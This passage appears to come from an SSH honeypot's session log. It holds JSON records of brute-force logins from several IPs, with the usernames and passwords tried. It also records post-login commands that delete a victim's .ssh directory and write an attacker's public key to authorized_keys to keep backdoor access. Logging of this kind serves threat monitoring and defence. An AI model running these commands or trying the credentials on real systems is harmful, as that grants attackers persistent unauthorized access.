"end_time": "2026-07-23T20:21:36.402979Z",
"duration": "1.3",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "3245gs5662d34"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: gcp
{
"id": "ecf9546784c0",
"src_ip": "91.92.47.208",
"start_time": "2026-07-23T20:21:33.532865Z",
"end_time": "2026-07-23T20:21:36.436104Z",
"duration": "2.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "gcp",
"pass": "abcd@1234"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34
{
"id": "41272c61e954",
"src_ip": "124.251.110.186",
"start_time": "2026-07-23T20:21:32.590374Z",
"end_time": "2026-07-23T20:21:34.865539Z",
"duration": "2.3",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "345gs5662d34",
"pass": "345gs5662d34"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / 1qaz2wsx!QAZ@WSX
Remote entity achieved interactive shell state. Command sequence (2 executed):
{
"id": "27a4b16ddd8d",
"src_ip": "124.251.110.186",
"start_time": "2026-07-23T20:21:29.893936Z",
"end_time": "2026-07-23T20:21:36.393812Z",
"duration": "6.5",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "1qaz2wsx!QAZ@WSX"
},
"commands": [
"cd ~; chattr -ia .ssh; lockr -ia .ssh",
"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
],
"detailed_commands": [
{
"cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"failed": true,
"error": "Command not found: lockr -ia .ssh"
},
{
"cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"failed": false,
"error": null
}
],
"failed_commands": [
"lockr -ia .ssh"
],
"score": 80,
"tags": [
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}